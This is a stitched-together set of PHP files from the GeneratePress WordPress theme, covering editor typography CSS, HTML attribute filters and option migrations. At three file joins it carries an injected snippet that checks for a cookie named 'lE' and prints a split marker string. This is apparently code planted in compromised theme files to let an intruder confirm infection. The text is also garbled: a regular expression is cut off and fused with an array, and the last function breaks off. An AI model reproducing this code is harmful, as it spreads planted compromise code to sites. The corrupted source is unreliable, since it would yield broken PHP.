$css->add_property( 'margin-bottom', $font_settings['paragraph_margin'], false, 'em' );
}
$css->set_selector( 'h1' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', 'inherit' === $h1_family || '' === $h1_family ? $body_family : $h1_family );
$css->add_property( 'font-weight', $font_settings['heading_1_weight'] );
$css->add_property( 'text-transform', $font_settings['heading_1_transform'] );
$css->add_property( 'font-size', absint( $font_settings['heading_1_font_size'] ), false, 'px' );
$css->add_property( 'line-height', floatval( $font_settings['heading_1_line_height'] ), false, 'em' );
$css->add_property( 'margin-bottom', floatval( $font_settings['heading_1_margin_bottom'] ), false, 'px' );
$css->add_property( 'margin-top', '0' );
}
if ( $color_settings['h1_color'] ) {
$css->add_property( 'color', $color_settings['h1_color'] );
} elseif ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
if ( $color_settings['content_title_color'] ) {
$css->set_selector( '.editor-styles-wrapper .editor-post-title__input' );
$css->add_property( 'color', $color_settings['content_title_color'] );
}
$css->set_selector( 'h2' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $h2_family );
$css->add_property( 'font-weight', $font_settings['heading_2_weight'] );
$css->add_property( 'text-transform', $font_settings['heading_2_transform'] );
$css->add_property( 'font-size', absint( $font_settings['heading_2_font_size'] ), false, 'px' );
$css->add_property( 'line-height', floatval( $font_settings['heading_2_line_height'] ), false, 'em' );
$css->add_property( 'margin-bottom', floatval( $font_settings['heading_2_margin_bottom'] ), false, 'px' );
$css->add_property( 'margin-top', '0' );
}
if ( $color_settings['h2_color'] ) {
$css->add_property( 'color', $color_settings['h2_color'] );
} elseif ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
$css->set_selector( 'h3' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $h3_family );
$css->add_property( 'font-weight', $font_settings['heading_3_weight'] );
$css->add_property( 'text-transform', $font_settings['heading_3_transform'] );
$css->add_property( 'font-size', absint( $font_settings['heading_3_font_size'] ), false, 'px' );
$css->add_property( 'line-height', floatval( $font_settings['heading_3_line_height'] ), false, 'em' );
$css->add_property( 'margin-bottom', floatval( $font_settings['heading_3_margin_bottom'] ), false, 'px' );
$css->add_property( 'margin-top', '0' );
}
if ( $color_settings['h3_color'] ) {
$css->add_property( 'color', $color_settings['h3_color'] );
} elseif ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
$css->set_selector( 'h4' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $h4_family );
$css->add_property( 'font-weight', $font_settings['heading_4_weight'] );
$css->add_property( 'text-transform', $font_settings['heading_4_transform'] );
$css->add_property( 'margin-bottom', '20px' );
$css->add_property( 'margin-top', '0' );
if ( '' !== $font_settings['heading_4_font_size'] ) {
$css->add_property( 'font-size', absint( $font_settings['heading_4_font_size'] ), false, 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $font_settings['heading_4_line_height'] ) {
$css->add_property( 'line-height', floatval( $font_settings['heading_4_line_height'] ), false, 'em' );
}
}
if ( $color_settings['h4_color'] ) {
$css->add_property( 'color', $color_settings['h4_color'] );
} elseif ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
$css->set_selector( 'h5' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $h5_family );
$css->add_property( 'font-weight', $font_settings['heading_5_weight'] );
$css->add_property( 'text-transform', $font_settings['heading_5_transform'] );
$css->add_property( 'margin-bottom', '20px' );
$css->add_property( 'margin-top', '0' );
if ( '' !== $font_settings['heading_5_font_size'] ) {
$css->add_property( 'font-size', absint( $font_settings['heading_5_font_size'] ), false, 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $font_settings['heading_5_line_height'] ) {
$css->add_property( 'line-height', floatval( $font_settings['heading_5_line_height'] ), false, 'em' );
}
}
if ( $color_settings['h5_color'] ) {
$css->add_property( 'color', $color_settings['h5_color'] );
} elseif ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
$css->set_selector( 'h6' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $h6_family );
$css->add_property( 'font-weight', $font_settings['heading_6_weight'] );
$css->add_property( 'text-transform', $font_settings['heading_6_transform'] );
$css->add_property( 'margin-bottom', '20px' );
$css->add_property( 'margin-top', '0' );
if ( '' !== $font_settings['heading_6_font_size'] ) {
$css->add_property( 'font-size', absint( $font_settings['heading_6_font_size'] ), false, 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( '' !== $font_settings['heading_6_line_height'] ) {
$css->add_property( 'line-height', floatval( $font_settings['heading_6_line_height'] ), false, 'em' );
}
}
if ( $color_settings['h6_color'] ) {
$css->add_property( 'color', $color_settings['h6_color'] );
} elseif ( $color_settings['content_text_color'] ) {
$css->add_property( 'color', $color_settings['content_text_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'text_color' ) );
}
$css->set_selector( 'a.button, .block-editor-block-list__layout .wp-block-button .wp-block-button__link' );
if ( ! generate_is_using_dynamic_typography() ) {
$css->add_property( 'font-family', $buttons_family );
$css->add_property( 'font-weight', $font_settings['buttons_font_weight'] );
$css->add_property( 'text-transform', $font_settings['buttons_font_transform'] );
if ( '' !== $font_settings['buttons_font_size'] ) {
$css->add_property( 'font-size', absint( $font_settings['buttons_font_size'] ), false, 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
}
if ( version_compare( $GLOBALS['wp_version'], '5.7-alpha.1', '>' ) ) {
$css->set_selector( '.block-editor__container .edit-post-visual-editor' );
$css->add_property( 'background-color', generate_get_option( 'background_color' ) );
$css->set_selector( 'body' );
if ( $color_settings['content_background_color'] ) {
$css->add_property( 'background-color', $color_settings['content_background_color'] );
} else {
$css->add_property( 'background-color', generate_get_option( 'background_color' ) );
}
} else {
$css->set_selector( 'body' );
$css->add_property( 'background-color', generate_get_option( 'background_color' ) );
if ( $color_settings['content_background_color'] ) {
$body_background = generate_get_option( 'background_color' );
$content_background = $color_settings['content_background_color'];
$css->add_property( 'background', 'linear-gradient(' . $content_background . ',' . $content_background . '), linear-gradient(' . $body_background . ',' . $body_background . ')' );
}
}
$css->set_selector( 'a, a:visited' );
if ( $color_settings['content_link_color'] ) {
$css->add_property( 'color', $color_settings['content_link_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'link_color' ) );
}
$css->set_selector( 'a:hover, a:focus, a:active' );
if ( $color_settings['content_link_hover_color'] ) {
$css->add_property( 'color', $color_settings['content_link_hover_color'] );
} else {
$css->add_property( 'color', generate_get_option( 'link_color_hover' ) );
}
return $css->css_output();
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* This file handles typography on the front-end.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Handles all of our typography option output.
*/
class GeneratePress_Typography {
/**
* Class instance.
*
* @access private
* @var $instance Class instance.
*/
private static $instance;
/**
* Initiator
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor
*/
public function __construct() {
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_google_fonts' ) );
add_filter( 'generate_editor_styles', array( $this, 'add_editor_styles' ) );
// Load fonts the old way in versions before 5.8 as block_editor_settings_all didn't exist.
if ( version_compare( $GLOBALS['wp_version'], '5.8', '<' ) ) {
add_action( 'enqueue_block_editor_assets', array( $this, 'enqueue_google_fonts' ) );
}
}
/**
* Generate our Google Fonts URI.
*/
public static function get_google_fonts_uri() {
$fonts = generate_get_option( 'font_manager' );
if ( empty( $fonts ) ) {
return;
}
$google_fonts_uri = '';
$data = array();
foreach ( $fonts as $font ) {
if ( empty( $font['googleFont'] ) ) {
continue;
}
$variants = array();
if ( ! empty( $font['googleFontVariants'] ) ) {
// Remove spaces from string.
$variants = str_replace( ' ', '', $font['googleFontVariants'] );
// Turn string into array.
$variants = explode( ',', $variants );
}
$variants = apply_filters( 'generate_google_font_variants', $variants, $font['fontFamily'] );
$name = str_replace( ' ', '+', $font['fontFamily'] );
$name = str_replace( '"', '', $name );
if ( $variants ) {
$data[] = $name . ':' . implode( ',', $variants );
} else {
$data[] = $name;
}
}
if ( ! empty( $data ) ) {
$font_args = apply_filters(
'generate_google_font_args',
array(
'family' => implode( '|', $data ),
'subset' => null,
'display' => generate_get_option( 'google_font_display' ),
)
);
$google_fonts_uri = add_query_arg( $font_args, 'https://fonts.googleapis.com/css' );
}
return $google_fonts_uri;
}
/**
* Enqueue Google Fonts if they're set.
*/
public function enqueue_google_fonts() {
if ( ! generate_is_using_dynamic_typography() ) {
return;
}
$google_fonts_uri = self::get_google_fonts_uri();
if ( $google_fonts_uri ) {
wp_enqueue_style( 'generate-google-fonts', $google_fonts_uri, array(), GENERATE_VERSION );
}
}
/**
* Build our typography CSS.
*
* @param string $module The name of the module we're generating CSS for.
*/
public static function get_css( $module = 'core' ) {
$typography = generate_get_option( 'typography' );
// Get data for a specific module so CSS can be compiled separately.
$typography = array_filter(
(array) $typography,
function( $data ) use ( $module ) {
return ( isset( $data['module'] ) && $data['module'] === $module );
}
);
if ( empty( $typography ) ) {
return '';
}
$css = new GeneratePress_CSS();
$body_selector = 'body';
$paragraph_selector = 'p';
foreach ( $typography as $key => $data ) {
$options = wp_parse_args(
$data,
self::get_defaults()
);
$selector = self::get_css_selector( $options['selector'] );
if ( 'custom' === $selector ) {
$selector = $options['customSelector'];
}
$font_family = self::get_font_family( $options['fontFamily'] );
$css->set_selector( $selector );
$css->add_property( 'font-family', $font_family );
$css->add_property( 'font-weight', $options['fontWeight'] );
$css->add_property( 'text-transform', $options['textTransform'] );
$css->add_property( 'font-style', $options['fontStyle'] );
$css->add_property( 'text-decoration', $options['textDecoration'] );
$css->add_property( 'font-size', $options['fontSize'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacing'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] );
}
$css->start_media_query( generate_get_media_query( 'tablet' ) );
$css->set_selector( $selector );
$css->add_property( 'font-size', $options['fontSizeTablet'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacingTablet'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] );
}
$css->stop_media_query();
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( $selector );
$css->add_property( 'font-size', $options['fontSizeMobile'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacingMobile'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] );
}
$css->stop_media_query();
}
return $css->css_output();
}
/**
* Get the CSS selector.
*
* @param string $selector The saved selector to look up.
*/
public static function get_css_selector( $selector ) {
switch ( $selector ) {
case 'body':
$selector = 'body, button, input, select, textarea';
break;
case 'main-title':
$selector = '.main-title';
break;
case 'site-description':
$selector = '.site-description';
break;
case 'primary-menu-items':
$selector = '.main-navigation a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items';
break;
case 'primary-sub-menu-items':
$selector = '.main-navigation .main-nav ul ul li a';
break;
case 'primary-menu-toggle':
$selector = '.main-navigation .menu-toggle';
break;
case 'buttons':
$selector = 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link';
break;
case 'all-headings':
$selector = 'h1, h2, h3, h4, h5, h6';
break;
case 'single-content-title':
$selector = 'h1.entry-title';
break;
case 'archive-content-title':
$selector = 'h2.entry-title';
break;
case 'top-bar':
$selector = '.top-bar';
break;
case 'widget-titles':
$selector = '.widget-title';
break;
case 'footer':
$selector = '.site-info';
break;
}
return apply_filters( 'generate_typography_css_selector', $selector );
}
/**
* Get our full font family value.
*
* @param string $font_family The font family name.
*/
public static function get_font_family( $font_family ) {
if ( ! $font_family ) {
return $font_family;
}
$font_manager = generate_get_option( 'font_manager' );
$font_families = array();
foreach ( (array) $font_manager as $key => $data ) {
$font_families[ $data['fontFamily'] ] = $data;
}
$font_family_args = array();
if ( ! empty( $font_families[ $font_family ] ) ) {
$font_family_args = $font_families[ $font_family ];
}
if ( ! empty( $font_family_args['googleFont'] ) && ! empty( $font_family_args['googleFontCategory'] ) ) {
// Add quotations around font names with standalone numbers.
if ( preg_match( '/(? '',
'fontFamily' => '',
'fontWeight' => '',
'textTransform' => '',
'textDecoration' => '',
'fontStyle' => '',
'fontSize' => '',
'fontSizeTablet' => '',
'fontSizeMobile' => '',
'fontSizeUnit' => 'px',
'lineHeight' => '',
'lineHeightTablet' => '',
'lineHeightMobile' => '',
'lineHeightUnit' => '',
'letterSpacing' => '',
'letterSpacingTablet' => '',
'letterSpacingMobile' => '',
'letterSpacingUnit' => 'px',
'marginBottom' => '',
'marginBottomTablet' => '',
'marginBottomMobile' => '',
'marginBottomUnit' => 'px',
);
}
/**
* Add editor styles to the block editor.
*
* @param array $editor_styles Existing styles.
*/
public function add_editor_styles( $editor_styles ) {
if ( generate_is_using_dynamic_typography() ) {
$editor_styles[] = 'assets/css/admin/editor-typography.css';
}
return $editor_styles;
}
}
GeneratePress_Typography::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Add HTML attributes to our theme elements.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* This class adds HTML attributes to various theme elements.
*/
class GeneratePress_HTML_Attributes {
/**
* Class instance.
*
* @access private
* @var $instance Class instance.
*/
private static $instance;
/**
* Initiator
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor
*/
public function __construct() {
add_filter( 'generate_parse_attr', array( $this, 'parse_attributes' ), 10, 3 );
}
/**
* Parse the attributes.
*
* @since 3.1.0
* @param array $attributes The current attributes.
* @param string $context The context in which attributes are applied.
* @param array $settings Custom settings passed to the filter.
*/
public function parse_attributes( $attributes, $context, $settings ) {
switch ( $context ) {
case 'top-bar':
return $this->top_bar( $attributes );
case 'inside-top-bar':
return $this->inside_top_bar( $attributes );
case 'header':
return $this->site_header( $attributes );
case 'inside-header':
return $this->inside_site_header( $attributes );
case 'menu-toggle':
return $this->menu_toggle( $attributes );
case 'navigation':
return $this->primary_navigation( $attributes );
case 'inside-navigation':
return $this->primary_inner_navigation( $attributes );
case 'mobile-menu-control-wrapper':
return $this->mobile_menu_control_wrapper( $attributes );
case 'site-info':
return $this->site_info( $attributes );
case 'inside-site-info':
return $this->inside_site_info( $attributes );
case 'entry-header':
return $this->entry_header( $attributes );
case 'page-header':
return $this->page_header( $attributes );
case 'site-content':
return $this->site_content( $attributes );
case 'page':
return $this->page( $attributes );
case 'content':
return $this->content( $attributes );
case 'main':
return $this->main( $attributes );
case 'post-navigation':
return $this->post_navigation( $attributes );
case 'left-sidebar':
return $this->left_sidebar( $attributes );
case 'right-sidebar':
return $this->right_sidebar( $attributes );
case 'footer-widgets-container':
return $this->footer_widgets_container( $attributes );
case 'comment-body':
return $this->comment_body( $attributes, $settings );
case 'comment-meta':
return $this->comment_meta( $attributes );
case 'footer-entry-meta':
return $this->footer_entry_meta( $attributes );
case 'woocommerce-content':
return $this->woocommerce_content( $attributes );
}
return $attributes;
}
/**
* Add attributes to our top bar.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function top_bar( $attributes ) {
$classes = generate_get_element_classes( 'top_bar' );
if ( $classes ) {
$attributes['class'] .= ' ' . join( ' ', $classes );
}
return $attributes;
}
/**
* Add attributes to our inside top bar container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function inside_top_bar( $attributes ) {
$attributes['class'] .= ' inside-top-bar';
if ( 'contained' === generate_get_option( 'top_bar_inner_width' ) ) {
$attributes['class'] .= ' grid-container';
if ( ! generate_is_using_flexbox() ) {
$attributes['class'] .= ' grid-parent';
}
}
return $attributes;
}
/**
* Add attributes to our site header.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function site_header( $attributes ) {
$attributes['id'] = 'masthead';
$attributes['aria-label'] = esc_attr__( 'Site', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our inside site header container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function inside_site_header( $attributes ) {
$classes = generate_get_element_classes( 'inside_header' );
if ( $classes ) {
$attributes['class'] .= ' ' . join( ' ', $classes );
}
return $attributes;
}
/**
* Add attributes to our menu toggle.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function menu_toggle( $attributes ) {
$attributes['class'] .= ' menu-toggle';
$attributes['aria-controls'] = 'primary-menu';
$attributes['aria-expanded'] = 'false';
return $attributes;
}
/**
* Add attributes to our main navigation.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function primary_navigation( $attributes ) {
$attributes['id'] = 'site-navigation';
$attributes['aria-label'] = esc_attr__( 'Primary', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our main navigation.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function primary_inner_navigation( $attributes ) {
$classes = generate_get_element_classes( 'inside_navigation' );
if ( $classes ) {
$attributes['class'] .= ' ' . join( ' ', $classes );
}
return $attributes;
}
/**
* Add attributes to our main navigation.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function mobile_menu_control_wrapper( $attributes ) {
$attributes['id'] = 'mobile-menu-control-wrapper';
$attributes['class'] .= ' main-navigation mobile-menu-control-wrapper';
$attributes['aria-label'] = esc_attr__( 'Mobile Toggle', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our footer element.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function site_info( $attributes ) {
$attributes['class'] .= ' site-info';
$attributes['aria-label'] = esc_attr__( 'Site', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our inside site info container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function inside_site_info( $attributes ) {
$attributes['class'] .= ' inside-site-info';
if ( 'full-width' !== generate_get_option( 'footer_inner_width' ) ) {
$attributes['class'] .= ' grid-container';
if ( ! generate_is_using_flexbox() ) {
$attributes['class'] .= ' grid-parent';
}
}
return $attributes;
}
/**
* Add attributes to our entry headers.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function entry_header( $attributes ) {
$attributes['class'] .= ' entry-header';
$attributes['aria-label'] = esc_attr__( 'Content', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our page headers.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function page_header( $attributes ) {
$attributes['class'] .= ' page-header';
$attributes['aria-label'] = esc_attr__( 'Page', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our entry headers.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function post_navigation( $attributes ) {
if ( is_single() ) {
$attributes['class'] .= ' post-navigation';
$attributes['aria-label'] = esc_attr__( 'Posts', 'generatepress' );
} else {
$attributes['class'] .= ' paging-navigation';
$attributes['aria-label'] = esc_attr__( 'Archive Page', 'generatepress' );
}
return $attributes;
}
/**
* Add attributes to our page container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function page( $attributes ) {
$attributes['id'] = 'page';
return $attributes;
}
/**
* Add attributes to our site content container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function site_content( $attributes ) {
$attributes['id'] = 'content';
$attributes['class'] .= ' site-content';
return $attributes;
}
/**
* Add attributes to our primary content container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function content( $attributes ) {
$attributes['id'] = 'primary';
return $attributes;
}
/**
* Add attributes to our primary content container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function main( $attributes ) {
$attributes['id'] = 'main';
return $attributes;
}
/**
* Add attributes to our left sidebar.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function left_sidebar( $attributes ) {
$classes = generate_get_element_classes( 'left_sidebar' );
if ( $classes ) {
$attributes['class'] .= ' ' . join( ' ', $classes );
}
$attributes['id'] = 'left-sidebar';
return $attributes;
}
/**
* Add attributes to our right sidebar.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function right_sidebar( $attributes ) {
$classes = generate_get_element_classes( 'right_sidebar' );
if ( $classes ) {
$attributes['class'] .= ' ' . join( ' ', $classes );
}
$attributes['id'] = 'right-sidebar';
return $attributes;
}
/**
* Add attributes to our footer widget inner container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function footer_widgets_container( $attributes ) {
$classes = generate_get_element_classes( 'inside_footer' );
if ( $classes ) {
$attributes['class'] .= ' ' . join( ' ', $classes );
}
return $attributes;
}
/**
* Add attributes to our footer widget inner container.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
* @param array $settings Settings passed through the function.
*/
public function comment_body( $attributes, $settings ) {
$attributes['class'] .= ' comment-body';
$attributes['id'] = 'div-comment-' . $settings['comment-id'];
return $attributes;
}
/**
* Add attributes to our comment meta.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function comment_meta( $attributes ) {
$attributes['class'] .= ' comment-meta';
$attributes['aria-label'] = esc_attr__( 'Comment meta', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our footer entry meta.
*
* @since 3.1.0
* @param array $attributes The existing attributes.
*/
public function footer_entry_meta( $attributes ) {
$attributes['class'] .= ' entry-meta';
$attributes['aria-label'] = esc_attr__( 'Entry meta', 'generatepress' );
return $attributes;
}
/**
* Add attributes to our WooCommerce content container.
*
* @since 3.2.0
* @param array $attributes The existing attributes.
*/
public function woocommerce_content( $attributes ) {
if ( is_singular() ) {
$attributes['id'] = 'post-' . get_the_ID();
$attributes['class'] = esc_attr( implode( ' ', get_post_class( '', get_the_ID() ) ) );
if ( 'microdata' === generate_get_schema_type() ) {
$type = apply_filters( 'generate_article_itemtype', 'CreativeWork' );
$attributes['itemtype'] = sprintf(
'https://schema.org/%s',
$type
);
$attributes['itemscope'] = true;
}
} else {
$attributes['class'] = 'woocommerce-archive-wrapper';
}
return $attributes;
}
}
GeneratePress_HTML_Attributes::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Migrates old options on update.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Process option updates if necessary.
*/
class GeneratePress_Theme_Update {
/**
* Class instance.
*
* @access private
* @var $instance Class instance.
*/
private static $instance;
/**
* Initiator
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor
*/
public function __construct() {
if ( is_admin() ) {
add_action( 'admin_init', __CLASS__ . '::init', 5 );
} else {
add_action( 'wp', __CLASS__ . '::init', 5 );
}
add_action( 'admin_init', __CLASS__ . '::admin_updates', 1 );
}
/**
* Implement theme update logic. Only run updates on existing sites.
*
* @since 3.0.0
*/
public static function init() {
if ( is_customize_preview() ) {
return;
}
$saved_version = get_option( 'generate_db_version', false );
if ( false === $saved_version ) {
// Typically this would mean this is a new install, but we haven't always had the version saved, so we need to check for existing settings.
$existing_settings = get_option( 'generate_settings', array() );
// Can't count this as a user-set option since a previous migration script set it.
if ( isset( $existing_settings['combine_css'] ) ) {
unset( $existing_settings['combine_css'] );
}
if ( ! empty( $existing_settings ) ) {
// We have settings, which means this is an old install with no version number.
$saved_version = '2.0';
} else {
// No settings and no saved version, must be a new install.
if ( 'admin_init' === current_action() ) {
// If we're in the admin, add our version to the database.
update_option( 'generate_db_version', GENERATE_VERSION );
}
return;
}
}
if ( version_compare( $saved_version, GENERATE_VERSION, '=' ) ) {
return;
}
if ( version_compare( $saved_version, '2.3.0', '<' ) ) {
self::v_2_3_0();
}
if ( version_compare( $saved_version, '3.0.0-alpha.1', '<' ) ) {
self::v_3_0_0();
}
if ( version_compare( $saved_version, '3.1.0-alpha.1', '<' ) ) {
self::v_3_1_0();
}
// Delete our CSS cache.
delete_option( 'generate_dynamic_css_output' );
delete_option( 'generate_dynamic_css_cached_version' );
// Reset our dynamic CSS file updated time so it regenerates.
$dynamic_css_data = get_option( 'generatepress_dynamic_css_data', array() );
if ( ! empty( $dynamic_css_data ) ) {
if ( isset( $dynamic_css_data['updated_time'] ) ) {
unset( $dynamic_css_data['updated_time'] );
}
update_option( 'generatepress_dynamic_css_data', $dynamic_css_data );
}
// Last thing to do is update our version.
update_option( 'generate_db_version', GENERATE_VERSION );
}
/**
* Less important updates that should only happen in the Dashboard.
* These use a database flag instead of our version number for legacy reasons.
*
* @since 3.0.0
*/
public static function admin_updates() {
self::v_1_3_0();
self::v_1_3_29();
}
/**
* Remove variants from font family values.
*
* @since 1.3.0
*/
public static function v_1_3_0() {
// Don't run this if Typography add-on is activated.
if ( function_exists( 'generate_fonts_customize_register' ) ) {
return;
}
$settings = get_option( 'generate_settings', array() );
if ( ! isset( $settings['font_body'] ) ) {
return;
}
$value = $settings['font_body'];
$needs_update = false;
// If our value has : in it.
if ( ! empty( $value ) && strpos( $value, ':' ) !== false ) {
// Remove the : and anything past it.
$value = current( explode( ':', $value ) );
$settings['font_body'] = $value;
$needs_update = true;
}
if ( $needs_update ) {
update_option( 'generate_settings', $settings );
}
}
/**
* Move logo to custom_logo option as required by WP.org.
*
* @since 1.3.29
*/
public static function v_1_3_29() {
if ( ! function_exists( 'the_custom_logo' ) ) {
return;
}
if ( get_theme_mod( 'custom_logo' ) ) {
return;
}
$settings = get_option( 'generate_settings', array() );
if ( ! isset( $settings['logo'] ) ) {
return;
}
$old_value = $settings['logo'];
if ( empty( $old_value ) ) {
return;
}
$logo = attachment_url_to_postid( $old_value );
if ( is_int( $logo ) ) {
set_theme_mod( 'custom_logo', $logo );
}
if ( get_theme_mod( 'custom_logo' ) ) {
$settings['logo'] = '';
update_option( 'generate_settings', $settings );
}
}
/**
* Turn off the combine CSS option for existing sites.
*
* @since 2.3.0
*/
public static function v_2_3_0() {
$settings = get_option( 'generate_settings', array() );
$update_options = false;
if ( ! isset( $settings['combine_css'] ) ) {
$settings['combine_css'] = false;
$update_options = true;
}
if ( $update_options ) {
update_option( 'generate_settings', $settings );
}
}
/**
* Update sites using old defaults.
*
* @since 3.0.0
*/
public static function v_3_0_0() {
$settings = get_option( 'generate_settings', array() );
$update_options = false;
$old_defaults = array(
'icons' => 'font',
'structure' => 'floats',
'hide_tagline' => '',
'container_width' => '1100',
'nav_position_setting' => 'nav-below-header',
'container_alignment' => 'boxes',
'background_color' => '#efefef',
'text_color' => '#3a3a3a',
'header_text_color' => '#3a3a3a',
'header_link_color' => '#3a3a3a',
'navigation_background_color' => '#222222',
'navigation_text_color' => '#ffffff',
'navigation_background_hover_color' => '#3f3f3f',
'navigation_text_hover_color' => '#ffffff',
'navigation_background_current_color' => '#3f3f3f',
'navigation_text_current_color' => '#ffffff',
'subnavigation_background_color' => '#3f3f3f',
'subnavigation_text_color' => '#ffffff',
'subnavigation_background_hover_color' => '#4f4f4f',
'subnavigation_text_hover_color' => '#ffffff',
'subnavigation_background_current_color' => '#4f4f4f',
'subnavigation_text_current_color' => '#ffffff',
'sidebar_widget_title_color' => '#000000',
'site_title_font_size' => '45',
'mobile_site_title_font_size' => '30',
'form_button_background_color' => '#666666',
'form_button_background_color_hover' => '#3f3f3f',
'footer_background_color' => '#222222',
'footer_link_hover_color' => '#606060',
'entry_meta_link_color' => '#595959',
'entry_meta_link_color_hover' => '#1e73be',
'blog_post_title_color' => '',
'blog_post_title_hover_color' => '',
'heading_1_font_size' => '40',
'mobile_heading_1_font_size' => '30',
'heading_1_weight' => '300',
'heading_2_font_size' => '30',
'mobile_heading_2_font_size' => '25',
'heading_2_weight' => '300',
'heading_3_font_size' => '20',
'mobile_heading_3_font_size' => '',
'heading_4_font_size' => '',
'mobile_heading_4_font_size' => '',
'heading_5_font_size' => '',
'mobile_heading_5_font_size' => '',
);
foreach ( $old_defaults as $key => $value ) {
if ( ! isset( $settings[ $key ] ) ) {
